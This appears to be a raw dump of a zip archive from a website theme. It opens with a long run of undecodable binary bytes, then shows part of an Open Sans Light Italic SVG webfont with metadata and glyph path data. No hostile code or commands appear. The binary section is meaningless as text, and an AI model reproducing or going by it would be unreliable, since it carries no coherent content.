�y+�+i>�+0/77 �o�&��].(U�4;ι�IXp0l���*i����0Y�t\��!��$��,�.���*v[��������ʝ��Z	�U4=���@�#��$U���f_$pyn�\���H�zX���ED�g��T���k8d�
J���$�7���\��> �?A1O�QX�CX���à��� 3PϤϦ%� L0Gd�x��)�d ��M#-�zo�.c�uҗG�9��G��˞�S[��F��eO��@��¢,�������ؽ1��9
�8�Ή��#Ή=�dI�ɋ �r��Nq�lvbLghҙY���._� #�O1fP�Y�F�̪��}��1���#tfا�hի=������#�^$��5sW>5����6|ٯ���vc�_�`V���#��������x i��v`#���h��:qw:y����߱r�K|�m-S�-�J�%V�����u���]����K�_?"u�g`Kö�x0��F:*P&`Ќ۩5ʄ��͓�M3q��uD�yX�Q�����#�n]L}X(�K��-"Ed�����b��W�?٥�����;�aҘ���K^��б��d���|���7��%��J�c��F���v��wX5́�A�3&X<���%�S�x�'B2�)�)&�f�[�Ó:f�K�I؋(,��A�l��tV��{ذ��=ը�Ǫa�m����H>2�
�~	��D��z۩l�zm�����'u�am�E��I�r����D�p���cx��{/}_5y���w���=���?kV]�|�\ݲ��5?H�ǂ>3���Zp �l�,���g��͎^���3��FS�3W��X�<kø�]|-�us��Sᙙ�;\4e�'L%fW8��Jv��n�a6s��3�x�f�qN9s�]s�����K�LޔT˯r�`�z���.����(\���po�T�M�zm���13�Ysv�
�L3Q����0z��n��Ú�+_��ﹰ��Gon�#�+����Q��Q=�^^����)g��4��G�{/�i�Q���3O�[x����4�H�4��@J�d_�_��24_W��.&�&�"2O�E�Q�����,R�U�a�:F�,�Oy�= ;NÛ�u���8�VG6�$E�L%�
`漖*UNw&,MΩjA����%�6�n�]��ce/��f��I;��X߽@�-����` wD�9��G~�^|��'��|�/l���{v{u'�@}�c��������t�;�XX�d�	�ֳ���N�/V����KǍ�Ey=�R�A��)<X�6�%��@���������C��~^�ɓ�����&'w�u)[�b��J�������C�m��7H�;��l~1N�
�a}�����39S�
�����|朅sv��0�,ꃣS�9gcY�l)0gW(�!�,3R@
4{WȢrOi�s�Q�T�I1bX���E
�n89����-��$D������
��0a�ٻ&�c���5�ZLn���g��Z>$m+o�m]�E=3n��;�S��_�c��Y,�@n�9Z�Fy]�6ڍ̝h	��f��N��"���F^�����_@k0ƾ���wv���e=f
��;4����n�vM��ua�x�a��#����Kd���<+ʻ޲� a����ڿb��㖰p���!��*	���ț�@��;��8G���a�P�7cr�'����g��0�m��@�JMeYX�P45
�-��UIMC'!-��|�p��L�
edi/�j)EҨF+��M������>˫�/zn���0}���*�j�y����λ��f���w0���z�W�t��c�h{9C	��(Sbzg���W�FfsdQ����27̃V��fb^H*2���
"�l�XvrN�T�U�Ő�n�+	������L<�{+ƌܹ���=`�G�buj����Ys�&�v��rk�S���z��G��^�7r\�DŽQ�vJP���6A9���!홃+�pS�E-о�K|tr�z^魯�W��ds��l�v�'�ȓ�M6v���x��e�p*e>�g(@ld((�/�X�K���fԎ�:u�����5��}�;k��v�^�����>;���b��5�=j��7u����5]�VO���Ī�c����Z�`�f��H���xG�)�9F���_��
���C�&��O`­
��͎kfÄ"}(j��'�>yB��J�"Y�ī�Lܠ��5��@����~!�I�Kꔯ�oH����,�P�S���~~M��k.]Z��j�$�LػZE+��xQ�>~��p�� ?c1ҹ�k�s!���S�]�뱎/­��h�x D(�@':ew(VĄr6��(rb�Y,�u�6$�9�Ն����0�";�XgS��޵M4�d����+�#�Ez ��2�؎��3���;�-�ENq�i�`0C�<z��5�b�h��0�Ds�i��N�޶g��ƍ^�t��-?��]��z��&=�֪�?�k�M|���ޑ�6������{��6����5�sn�J�X:(��ʼnʝ��.yU�׾O��{��%λ�:��xa����n1�Y���ހ�R�'R7h�K�s�\�$9��tM�n�PR޽c�[�|���3����ne��J�w���`��]k���ಹRn�T)�[k�k�u,�b2kGCC,І^pE˨�u��n�uf�f�,�T�Š��7�*�\۬�U ��#KW���C�����Lm��c�p�y�C�S�1��/��p(�ON���or&=� ����>9�n�?�u�[����z�:�o^����0z���,{�h��N���
P7}r���`�z��
�����mR�|���YZ��%+^����D�_��V���f5�A׀�/޲�1A�|��`\��Z�c��pbb�P
R�0у�L]Q��V�R+�Sҽ� ��nbE�U��Ԕ6�j*-@�OE����{���-^���̢�N��q�]w��;Q8^5Y/VT�<�ϬYj��e�<4���P��<+�*�/���f��LĠ�U�qu�9�^7��W������y��A�8����d���R����l�x�hbycb��%t�!Q)�F	Ǣ��h�q2�Y�'^���q~a{���ha{Rak�mB���E��Ko�ڱ}�>$�s*�L�aC�u���dV��iu��4�RЖ�x��o�nN�P��%�ho������%[��d0�oٰ�����@�A����y�0��otS���&r�O��Ɛ��=�^��Őq]
�J�!�zѪ�l�<6Q��*���+XU����D��%c�n��[�'-��
s��:GL͊�[�aI*W�Oܵp��=�_3|����WUTT�5��Y��?���O�}���{|0J�x���7��X�l	cr�l
EE��#�z��@�/�;Рڰ[��,dNhy�q4�(�j���X�XS0^����V�����h��P.j�)�zj�y��2t�/qG9�(�uN:J�\XC��#3JQ���)m�pE�dZ1�&V<z@��i=���yh���Ͼp���d1�ޙ�'t�X:|��9��Bu��̞�#�_������ƗT��X��y�t�ٌJX|�VA��:4�[��
9L�%�dS+�e����"Tǻ逩#�f���S�b�_6��él�}sdtdh��c�yqȠ����J~����͚[���6y�u���x'�V��r}�����9�y�}4z�� v��[�� Rǣ}œi}����}��G��|*w�!���tZ�_&a�dfi��,x��Ҽ�3��nK��0��=G�Vo��=�3�z_VA�!՝�b���m9�K�
����61�֊ۇ�h�U��ZNQ���z���2�HŴц���lB��2����849c��
"V�a����΀�O3��a}����|�-�k��݆���"�z�[}��5B�uE���#d�0��}�:l���Bl��!Xn"���CC�A�hȪ.ʪlC�$;�N�՜�;L5H
�i�F���;eaʀ����ޥ�CW�<B=ڳL}��oGڦ��{{��CaO{h~l�\J�b���:����l(I{m������g�5���r���XW�*G� ���W���W�./�C^���|�/�ȓ�,^�*kV�o��J�0p��ǽ��Mw�~e�I��L���up2�(3�2�%y�m0IW�Ց��Z���K�_]s��MF�T��CF�\�b]��u�8}�n�������q�|n淜���n�������/�G�
�2��Jw�~�/�_�h���s��8�2u��J�o��ϑǪӂ���L\e@�g옙�7;��{a���
�rWR�׉�!�BW1�}��Ӳ�(<v�Q$D9c��y�V{噝h��G�~�j�4쑑�>��d��QWY���G�%C��G�F=�}��U�nj�u�Ȳ��I�ť�υє�[���\iu˵�I�
��6߰��sR{E�� �>��[�}�'�ݤ���aM�5���b�1��J�����A�;�X�a�|ǚ(��`v�,�<T��x����/�R�/+x~�l>�{���M�U�N�B^����a�c|
�m���0�|:�'x;�'�5��i��s��o��ް��k�&�wK�O�Dl����ߎ=_}��_�[��ص~�}[R���~���#�}��%�dgT�F�\�T�����6���=���y��˕���޲�<��z�X(���P�[��X��!^uF�!N�!�v�%�K��B��\Nv��X��:��?�_/ a�?� _��S�TW��du�JDbR���@WKy�X��(�3����1�q�o�)�a�܎���D�AnKR{�D��0Дp��.��� �97�@��L�E�,RA��R���3�m��Y���V�� }f�[��Hu��jg\��>�5�������κ����)xp�4}
c�yZ� f���u���kE���I*J��(�{�iR=gN	�@dTg0F"��<t�I��]mn���cx�������u#��ݏ�"�W�\<f�:����z���'�r�ʚ�}�>��#C�|�}2��Z����]��V=�y��%�Oi��Ve�ƿm����p�ڻ%�'p���G�I��=g8��[Y��ZܚT�E(f,�/+;�%�[(�-���0�s�6ZaA�����KX~<@�ĩ~��������ܨ��?O}uI=J.?��z&�}�x}6X�+���,0L�A<r���0 ��NZN�G5R1�_o�6*�5���J�0l��ؤ���)�+ߎ��Z�Z��`�x�+Q�DrRzDJQ�RBg�%bBWe�D�������ۀG	��o�9��}�޻����ǻ&v�p˞�3�W��{k�g&W?#.�{�ny���ޝZe��w��ᾯ���ü�����ɡ�������W�R����z?�i/�SnY�ݰ��7n��ۤv�/���_'�7&�'��������l�B�~�84D��p�,�f�a%�� �
�<1)��=�$+Nɲ[��D.v*Eh�LW�V����c)�)�8$�8��"x�W£�N��r
j1)?�������-���/��30xUϥ���Q�3�[t:�\�����J:�}H�&JYZ�˯������=�_wZ����cc�5��˥��$���aoLZt�{����MO>7o�s|99���Z��?��Un
�[���u�*��6g�Y#c��-��׏���ʅ���U��0LƱv̕��Z���-�폍�q;=�+�Nכ�O��k�¦�������׃N}:���k!z?������m�ڇ����t𾖜)�A���%R�� ����M<�Ù�;�\�&��6�;��\�
�wN��I�QA��+���|*��R���3>9\2�O�_����۫W�<l��E�}3|���ﯞW����+�y���gșo�m���Us�w.\^>dA͔E����c�<�f��h����V4O��!l��[h>�Ҫ��ݻ7nl��?�&����ג��\l����bq+�e��i9�h�����2���3DSB�)�t��i��c;V�w�ڽW��-�w~F4�6u�[Q^޿/��q���]�%.�z>�E��3���d=�Z��Iz�����\J��|8����y=�֠�1��Gz?;p�����&�W��b���+�.-FR�,�|�����a�Zd�i�i�P>X�~�y?��Q��@�y�
g뼍���r7���t=Y��ͮ��
z�݌_
�r�h.��fFT�N������ӈ>%D�3�����H\��K.�_F��"
Mf$�����i>��f�T�l�R��<ʺ����	���ȩ�v�~�2u��%5��ȩ�2�
R?U²��+�V�0ۏ��zwc�e�t�l�>�DN�X�\��׉�,�X�16d�p.��ű�	 M�q�
:ꃌ�/�	F��J�hEo���Bt^�]�~��x�S�rD�.���YmW�$��2�JFz&Yj�x�m��O+l���#�N�{���|����OT���^��'5C�~rPgyƧYpZ`���m@�����~k4�ɵ-=���)g�'�h��:�V
�5�B��l>��M��S�M�PK7��H�f�&��= �xC��8}�
4�C�&W����-Y i9�x�jX�‹�?�s'	d�_�ˮ�g|ܳ��i�5gY�_;~�oMU�Y8G�Ԩ~{�v���9˖�i�_OM�4v(�acF�S��z����m���Rbzo��{v���s����y��3_�'�����^���~9�&�׋
L�̓2���/���]N��/�|�'ēi<0ioZ�ᅪ��(�s��~==�z�;�XP�v�z���s%1ϕ���
����cOx���x�#��'Vͫ}��5u�R��q߬'Ǎ��5~BY8��h��U��d7È���7�h�3%5��)㰀��,����8 X7�v��C9����2�<04Zk�V�3(c��骛��3��������g^����\�_��$
[��-1"K�/KĈ������]���������i�^2��V0�g̠�jd�tڦ��^�kP���ii�񥛻�5��N���Li���@���D��;�G�L����)�ԋ�O�4�q\���ӎy�=]$�MV���%0_L02�K].��1r Ҡ�9�y��dj�%�6��n�J�a�Q�v$y�ˍ���n{|fx�I+Sw�L�;�GX�Ȧ�	�����0}{!���'b��Ж����KFT���g����%�x�wB�O|��+[K��բ>9&a[�&��③��$j�<1c�3�?�߸�e��\F���k_���Y�n����������яܤ臖*s�O.y�b��ߝ���o�[B%�?!��7�_�*~$��9�٬�Ȫ��
u�������	��(}��Yx�0{\˳>��1�C���N�]���<u�0bWS]���s�D;��ə9	���RJV,z�:��3�ؑ���xaĿ=�ԭzJ���́��@IA��c���$�vΚ���9}�\�J5K󑥲�4:z\U)ң��\�.�[������"���b	Xl�rZX�`���AO�aŠǤAZ/-Аb4���R3LZ6dT���Gs�hu��Ә�Z4��cJ��:�8
,��"ѓ��%႒�@I���'�`����@�����
ʟ�gW��Ń/
]���,rPm�a�:�;i�tU�������X{�d
w@����
֨��J�W`�2���T�bF(����0��:h�%�F���_!��YZ����q��N��cg�: %bv���:R⛭./�h���%���T㲀�|R��r��d��OW���O��u%55�2?^ǚ��S��䥚�3|�tu�V70D�|)��\}_oh�\�3��G����D�I�Z�
S�\?l���&�s���Oa�Gx�c`d```����+��o�A��N�-W������c/f`d�``�o
jx�c`d`��Hr�+�W;�(�����x�m�1hSQ�ϻ���!�@	B�Pj�"��(B�PK	�AB	�
%� %H�J�Rp!8��p��:�]2�88�P��""!4�{%��������s��#��G� ar���;����a�� 뜣���J���%ֲ*��:DZͰ�&B\�G�d�d�$yDA=c��9��$oT?G�O��.nMwe���M��ʞBSI��s�\Ϡ�o��-�e��s���GN�u�t�cT�@�XPG����3���.�{r�<�#��C�q��!�ڈI	n��GU����>�1�.-�?0=��3l�8&Y�K��MD��ӟ��'0-�Ω�M5^���1I|7{D����^��:�gY�=�ެ	�]��-����6w���D���m��1�WŠw�;������k�&�����2�W�7T�=E�oW�\�6f1���'�]�o�k�#X�Y�����5��-_����U��e�aL63����K�7s}@K�N���o�C��
T=��$y	�Sw�X3��VG����#���40�}y�lث|�XqF/����*���n�]fC�02
~���x�c``0���E�L2L����+�1�a~�b��R²�e+�k�67�-�J�n��8,8*8vp��x���Y�e•�u�[�;�{���I<x~�*�V������/���������AA�$�	��/	�b�Z&�'"|@DE�B�N�G���X��q�,�+5O$$;$7I�IUI�z&�"� }@���?�y�L�5���X��=����� �`��ȥ�����O�O�Di��e�4�ʗTdT�T�T�T�Tި�PeQP�Q�P5Q�P���@u���#�T慨P�������V�֦6Im��uu�����}AqYeM}�4�4�4�4�4�4�4'i��\��MKC�D�A�G+B+E�@k���������v�v�����trt~���V���ӓ�3���+ћ�w@�I�I�I�Dd�.C�%����2�e�

�Q�D?Zx�m�MJA���(�q��:D����E����@Lt��9�'�
�x���oz:A�4���ϫ�*`�;�tz[@%Z�aW��k�0O��6o��8�=�u��L|�}��b�g����SrK�v.�a���1���'�9��/̙���k5͝ǪS�d\�+e���	O�%��3�|�.��ɟ��V�ڵ��G�?��/��ъ��YF��_�=è-�ۍ� hUq��f�#�V�=���m�U7[�~�SH�x�m�GlSa��Ӵiӽw�{���4-;�	{�M�M�RZH	{�=B�b]���@�%6���\!�}�Ւ��}�,��o��ŏH
��M6b��N<	$�D2)��F:d�E69�G>RDZҊִ�-�hO:҉�t�+��N4t8qQ��J�I/zӇ��?��~2��a(��F2�ьa,��&2��La*Ә�f2�r�p��l�:{��Fv��}�D����c�X%��fn�Ql�����q����$���.*xH%�x�S�'|�\��x�)���n^�WT��l�� s�G-u���'Da���|a	�X�rV���d5�X�Z�E>p�7��Wy��I�ĉ]�%A%I�%ER%M�%C29�9.r�ۜ�w��q��7�&ْ#�l�<ɗ)�"[�.�iMYf�5��KYڨ�i�RWJ�ҩt)��ne��i��TWsu�V�C��
�f�𛺔n���7>���k��P:���9��x�=�=
�@���$n��$�"Š�b��4iD� ����X�Yf�ċx�8�n����ɻ+�k X��󻱵P�
�@���b� Ԯe�I
�ZA*��{;��	1"�"D�$��hA��#�1A �=a�9!�G���~�P�_��/V�;�(��',þ�|�/*�C�PK!������@bluetheme/assets/fonts/OpenSans/OpenSans-LightItalic-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansLightItalic" horiz-adv-x="1128" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="502" d="M80 57q0 56 25 88.5t69 32.5q66 0 66 -72q0 -53 -25 -87.5t-68 -34.5q-67 0 -67 73zM186 377l203 1085h119l-260 -1085h-62z" />
<glyph unicode="&#x22;" horiz-adv-x="721" d="M248 934l80 528h127l-146 -528h-61zM578 934l79 528h127l-145 -528h-61z" />
<glyph unicode="#" horiz-adv-x="1323" d="M82 451l8 79h299l119 398h-297l8 80h311l134 454h90l-136 -454h365l135 454h86l-135 -454h285l-8 -80h-302l-118 -398h303l-8 -79h-320l-133 -451h-90l135 451h-360l-134 -451h-88l134 451h-283zM475 530h363l120 398h-362z" />
<glyph unicode="$" d="M141 182v94q65 -34 153.5 -53.5t160.5 -19.5l110 512q-110 53 -153 91t-66.5 87.5t-23.5 116.5q0 155 105.5 250.5t272.5 99.5l41 192h80l-41 -192q149 -5 277 -68l-35 -78q-110 61 -256 70l-109 -514q124 -60 172.5 -99.5t73.5 -88.5t25 -115q0 -151 -110.5 -243 t-297.5 -103l-53 -240h-82l51 240q-79 2 -158 18t-137 43zM410 1018q0 -78 37 -128.5t137 -96.5l102 491q-134 -9 -205 -80t-71 -186zM537 203q142 7 223.5 74.5t81.5 183.5q0 76 -48 129.5t-157 97.5z" />
<glyph unicode="%" horiz-adv-x="1556" d="M145 862q0 160 52 312t138 229.5t193 77.5q232 0 232 -283q0 -175 -50 -327t-136 -230t-197 -78q-112 0 -172 75.5t-60 223.5zM213 0l1135 1462h110l-1139 -1462h-106zM231 868q0 -115 41 -173t113 -58q84 0 148.5 72t102.5 204t38 277q0 109 -36 163t-114 54 q-79 0 -145 -71.5t-107 -203t-41 -264.5zM905 276q0 160 52 312t138 229.5t193 77.5q121 0 176.5 -71.5t55.5 -211.5q0 -175 -50 -327t-136 -230t-197 -78q-112 0 -172 75.5t-60 223.5zM991 283q0 -116 41 -174t113 -58q130 0 209.5 166.5t79.5 386.5q0 109 -36 163t-114 54 q-80 0 -146.5 -72.5t-106.5 -202.5t-40 -263z" />
<glyph unicode="&#x26;" horiz-adv-x="1331" d="M78 324q0 162 99 277.5t325 215.5l-41 67q-78 128 -78 251q0 157 101 253.5t264 96.5q145 0 227 -76.5t82 -206.5q0 -85 -41 -154t-121 -128t-256 -138l330 -463q73 75 135.5 176.5t91.5 186.5h111q-102 -247 -285 -436l184 -246h-123l-131 184q-121 -108 -242 -156 t-266 -48q-167 0 -266.5 94t-99.5 250zM176 328q0 -119 78 -192t211 -73q108 0 211.5 42.5t222.5 146.5l-352 493q-164 -79 -232 -134.5t-103.5 -124t-35.5 -158.5zM485 1135q0 -132 109 -281q203 89 279.5 163.5t76.5 182.5q0 91 -56.5 143t-145.5 52q-125 0 -194 -68 t-69 -192z" />
<glyph unicode="'" horiz-adv-x="403" d="M254 934l80 528h127l-146 -528h-61z" />
<glyph unicode="(" horiz-adv-x="526" d="M104 270q0 343 122 633t382 559h105q-259 -276 -384.5 -568t-125.5 -618q0 -317 127 -600h-80q-146 262 -146 594z" />
<glyph unicode=")" horiz-adv-x="526" d="M-156 -324q257 274 383.5 566.5t126.5 619.5q0 148 -28.5 294t-98.5 306h80q146 -262 146 -594q0 -345 -123.5 -636t-380.5 -556h-105z" />
<glyph unicode="*" horiz-adv-x="1137" d="M233 1217l39 102l394 -168l47 408l121 -19l-109 -405l438 8l-8 -107l-416 29l181 -401l-115 -37l-135 417l-285 -348l-78 78l318 318z" />
<glyph unicode="+" d="M162 672v100h401v404h101v-404h401v-100h-401v-400h-101v400h-401z" />
<glyph unicode="," horiz-adv-x="451" d="M-90 -264q79 132 141 271t88 231h111l8 -23q-34 -92 -114 -233.5t-160 -245.5h-74z" />
<glyph unicode="-" horiz-adv-x="629" d="M82 502l18 90h457l-16 -90h-459z" />
<glyph unicode="." horiz-adv-x="485" d="M82 55q0 56 25 88.5t69 32.5q66 0 66 -72q0 -53 -25 -87.5t-67 -34.5q-68 0 -68 73z" />
<glyph unicode="/" horiz-adv-x="641" d="M-100 0l815 1462h112l-817 -1462h-110z" />
<glyph unicode="0" d="M139 494q0 186 44.5 381.5t124 334t187 207t240.5 68.5q340 0 340 -469q0 -201 -41 -405t-116.5 -346t-183.5 -213.5t-242 -71.5q-176 0 -264.5 126.5t-88.5 387.5zM242 504q0 -222 62.5 -329t197.5 -107q139 0 244 112t166 337t61 489q0 199 -59.5 295t-190.5 96 q-134 0 -241.5 -113t-173.5 -329t-66 -451z" />
<glyph unicode="1" d="M354 1204l406 258h90l-313 -1462h-105l225 1055q19 92 74 293q-42 -36 -75.5 -61t-249.5 -161z" />
<glyph unicode="2" d="M39 0l22 104l449 402q198 177 284 276.5t126.5 186.5t40.5 180q0 112 -66 178t-197 66q-176 0 -333 -129l-54 73q180 146 394 146q173 0 268.5 -85t95.5 -237q0 -110 -43.5 -208.5t-141.5 -211.5t-311 -303l-383 -338v-4h736l-17 -96h-870z" />
<glyph unicode="3" d="M55 53v101q172 -86 344 -86q197 0 303.5 89.5t106.5 252.5q0 145 -89 223t-247 78h-117l21 96h110q209 0 333 95.5t124 258.5q0 114 -63.5 175t-188.5 61q-167 0 -344 -131l-49 75q84 67 188 104.5t218 37.5q161 0 252.5 -82.5t91.5 -226.5q0 -162 -106 -275t-286 -143 v-4q117 -24 185.5 -115.5t68.5 -226.5q0 -134 -64 -233t-179.5 -148t-274.5 -49q-96 0 -184.5 20.5t-153.5 52.5z" />
<glyph unicode="4" d="M23 371l20 96l881 1010h118l-215 -1018h265l-21 -88h-264l-80 -371h-96l80 371h-688zM150 459h579q79 369 119 558.5t86 354.5h-4q-66 -91 -129 -166z" />
<glyph unicode="5" d="M88 51v107q170 -90 340 -90q208 0 328.5 114.5t120.5 313.5q0 140 -85 219.5t-225 79.5q-133 0 -243 -41l-66 49l193 659h624l-18 -96h-541l-149 -516q98 29 215 29q188 0 292.5 -102t104.5 -279q0 -237 -148 -377.5t-407 -140.5q-84 0 -177.5 20t-158.5 51z" />
<glyph unicode="6" d="M170 428q0 283 105 544.5t269.5 385t383.5 123.5q123 0 182 -21l-18 -90q-86 23 -170 23q-233 0 -393.5 -174t-233.5 -502h8q68 94 164 143t211 49q161 0 250.5 -100.5t89.5 -282.5q0 -156 -60 -281t-171 -195t-257 -70q-171 0 -265.5 119t-94.5 329zM270 414 q0 -164 72.5 -255t200.5 -91q112 0 196.5 58.5t130 162t45.5 229.5q0 146 -67 224.5t-195 78.5q-81 0 -154 -31.5t-129 -87t-78 -115t-22 -173.5z" />
<glyph unicode="7" d="M244 0l796 1366h-766l23 96h858l-20 -110l-779 -1352h-112z" />
<glyph unicode="8" d="M98 326q0 159 100.5 268.5t321.5 187.5q-100 72 -144 152t-44 180q0 159 114 265t291 106q163 0 258 -85t95 -229q0 -138 -84 -234.5t-285 -172.5q130 -78 190 -170.5t60 -208.5t-58 -208t-165.5 -144.5t-260.5 -52.5q-178 0 -283.5 92.5t-105.5 253.5zM201 340 q0 -136 77.5 -206.5t219.5 -70.5q168 0 270 91t102 233q0 104 -62 189t-198 157q-218 -73 -313.5 -167.5t-95.5 -225.5zM428 1114q0 -91 41.5 -159t157.5 -142q192 62 279 144t87 206q0 109 -70.5 172.5t-195.5 63.5q-130 0 -214.5 -82t-84.5 -203z" />
<glyph unicode="9" d="M115 2v90q87 -29 192 -29q474 0 627 674h-8q-140 -192 -367 -192q-162 0 -255 105t-93 284q0 155 59.5 281t170.5 196t257 70q174 0 267.5 -115.5t93.5 -333.5q0 -288 -101.5 -548t-263.5 -382t-393 -122q-114 0 -186 22zM313 942q0 -145 67.5 -225t192.5 -80 q83 0 157.5 32.5t129 87.5t76.5 114t22 176q0 166 -71 256t-201 90q-112 0 -197.5 -58.5t-130.5 -162.5t-45 -230z" />
<glyph unicode=":" horiz-adv-x="485" d="M102 55q0 56 25.5 88.5t69.5 32.5q65 0 65 -72q0 -55 -25.5 -88.5t-66.5 -33.5q-68 0 -68 73zM260 989q0 57 25.5 89t68.5 32q66 0 66 -72q0 -55 -25 -89t-67 -34q-68 0 -68 74z" />
<glyph unicode=";" horiz-adv-x="485" d="M-53 -264q79 132 141 271t88 231h111l8 -23q-35 -96 -118.5 -242t-156.5 -237h-73zM266 989q0 57 25.5 89t68.5 32q66 0 66 -72q0 -55 -25 -89t-67 -34q-68 0 -68 74z" />
<glyph unicode="&#x3c;" d="M137 676v74l914 471v-103l-801 -399l801 -350v-107z" />
<glyph unicode="=" d="M168 461v98h903v-98h-903zM168 885v100h903v-100h-903z" />
<glyph unicode="&#x3e;" d="M170 262v107l801 350l-801 399v103l915 -471v-74z" />
<glyph unicode="?" horiz-adv-x="799" d="M170 59q0 56 25 88.5t69 32.5q66 0 66 -71q0 -54 -24.5 -88.5t-67.5 -34.5q-68 0 -68 73zM182 1376q85 49 171.5 78t187.5 29q159 0 250.5 -84.5t91.5 -229.5q0 -127 -66 -234t-231 -226q-85 -61 -132.5 -108.5t-73 -95t-46.5 -143.5h-92l6 29q29 132 82 206.5t157 147.5 q118 84 175 145.5t86.5 127.5t29.5 141q0 108 -67.5 170t-182.5 62q-139 0 -307 -101z" />
<glyph unicode="@" horiz-adv-x="1724" d="M125 508q0 276 121.5 493.5t337 337t473.5 119.5q189 0 330.5 -72.5t221 -213t79.5 -314.5q0 -179 -56 -323.5t-154.5 -227t-211.5 -82.5q-98 0 -154.5 55t-56.5 144h-4q-54 -97 -132.5 -148t-168.5 -51q-112 0 -178 73t-66 202q0 156 63 283t178 198.5t261 71.5 q122 0 252 -52l-84 -315q-39 -140 -39 -221q0 -71 34.5 -111.5t100.5 -40.5q86 0 160 73.5t117.5 198t43.5 251.5q0 156 -65 277t-187 188t-292 67q-235 0 -424.5 -108.5t-295.5 -304t-106 -439.5q0 -288 155 -449t435 -161q207 0 420 82v-90q-210 -82 -428 -82 q-203 0 -357.5 82.5t-238.5 239t-84 370.5zM610 506q0 -92 40.5 -142.5t113.5 -50.5q101 0 180.5 89t124.5 255l78 289q-66 23 -139 23q-113 0 -204.5 -59t-142.5 -165.5t-51 -238.5z" />
<glyph unicode="A" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563z" />
<glyph unicode="B" horiz-adv-x="1202" d="M102 0l310 1462h379q190 0 290.5 -84t100.5 -241q0 -153 -90 -249t-254 -124v-4q125 -31 188.5 -113.5t63.5 -204.5q0 -205 -140.5 -323.5t-390.5 -118.5h-457zM223 90h342q201 0 309.5 87.5t108.5 256.5q0 145 -90 216t-275 71h-260zM377 811h278q206 0 313 81t107 238 q0 119 -78 180.5t-229 61.5h-272z" />
<glyph unicode="C" horiz-adv-x="1169" d="M170 535q0 266 104.5 488t284.5 341t402 119q177 0 307 -68l-45 -90q-55 30 -124.5 47t-137.5 17q-197 0 -351.5 -104.5t-245 -304.5t-90.5 -441q0 -225 110.5 -346t317.5 -121q140 0 304 51v-94q-156 -49 -316 -49q-252 0 -386 145t-134 410z" />
<glyph unicode="D" horiz-adv-x="1350" d="M102 0l310 1462h305q282 0 426.5 -147.5t144.5 -435.5q0 -253 -109.5 -461.5t-300.5 -313t-446 -104.5h-330zM221 90h209q226 0 394.5 94.5t261 275.5t92.5 412q0 498 -476 498h-206z" />
<glyph unicode="E" horiz-adv-x="1067" d="M102 0l310 1462h727l-21 -94h-624l-117 -553h590l-21 -94h-588l-135 -627h627l-21 -94h-727z" />
<glyph unicode="F" horiz-adv-x="981" d="M102 0l310 1462h708l-20 -94h-604l-134 -620h570l-21 -95h-569l-137 -653h-103z" />
<glyph unicode="G" horiz-adv-x="1374" d="M170 547q0 265 105 483.5t283.5 335.5t395.5 117q113 0 203 -19t184 -59l-38 -94q-110 46 -189.5 62t-167.5 16q-184 0 -339 -107.5t-244 -301.5t-89 -433q0 -229 114.5 -352t326.5 -123q155 0 309 47l117 526h-303l18 90h406l-150 -682q-211 -73 -405 -73 q-257 0 -397 146t-140 421z" />
<glyph unicode="H" horiz-adv-x="1366" d="M102 0l310 1462h102l-139 -649h760l137 649h100l-309 -1462h-100l151 719h-760l-149 -719h-103z" />
<glyph unicode="I" horiz-adv-x="504" d="M102 0l310 1462h98l-309 -1462h-99z" />
<glyph unicode="J" horiz-adv-x="477" d="M-324 -336l11 92q57 -20 137 -20q213 0 262 241l309 1485h105l-314 -1491q-35 -170 -125 -250.5t-241 -80.5q-48 0 -88 8t-56 16z" />
<glyph unicode="K" horiz-adv-x="1122" d="M102 0l310 1462h102l-158 -723l133 121l680 602h138l-699 -610l371 -852h-111l-342 788l-190 -153l-131 -635h-103z" />
<glyph unicode="L" horiz-adv-x="938" d="M102 0l310 1462h102l-289 -1366h621l-23 -96h-721z" />
<glyph unicode="M" horiz-adv-x="1669" d="M109 0l309 1462h143l205 -1257h6l733 1257h150l-301 -1462h-101l191 901q79 369 100 447h-6l-780 -1348h-51l-222 1348h-6q-20 -154 -78 -426l-196 -922h-96z" />
<glyph unicode="N" horiz-adv-x="1372" d="M102 0l310 1462h80l522 -1294h8q23 176 74 416l188 878h94l-309 -1462h-86l-516 1284h-8q-23 -149 -48 -273t-214 -1011h-95z" />
<glyph unicode="O" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -255 -94 -481.5t-252 -338t-365 -111.5q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5q0 240 -104.5 364t-310.5 124 q-174 0 -308.5 -101t-214.5 -298t-80 -417z" />
<glyph unicode="P" horiz-adv-x="1145" d="M102 0l310 1462h315q202 0 310 -92.5t108 -267.5q0 -500 -610 -500h-201l-129 -602h-103zM350 694h191q252 0 373.5 96.5t121.5 305.5q0 274 -329 274h-211z" />
<glyph unicode="Q" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -216 -70 -418t-186.5 -324t-274.5 -167l267 -350h-142l-231 332l-74 -4q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5 q0 240 -104.5 364t-310.5 124q-174 0 -308.5 -101t-214.5 -298t-80 -417z" />
<glyph unicode="R" horiz-adv-x="1145" d="M102 0l310 1462h303q430 0 430 -360q0 -182 -103.5 -303t-281.5 -152q201 -591 221 -647h-111l-211 633h-323l-131 -633h-103zM358 725h252q208 0 317 95.5t109 281.5q0 268 -329 268h-211z" />
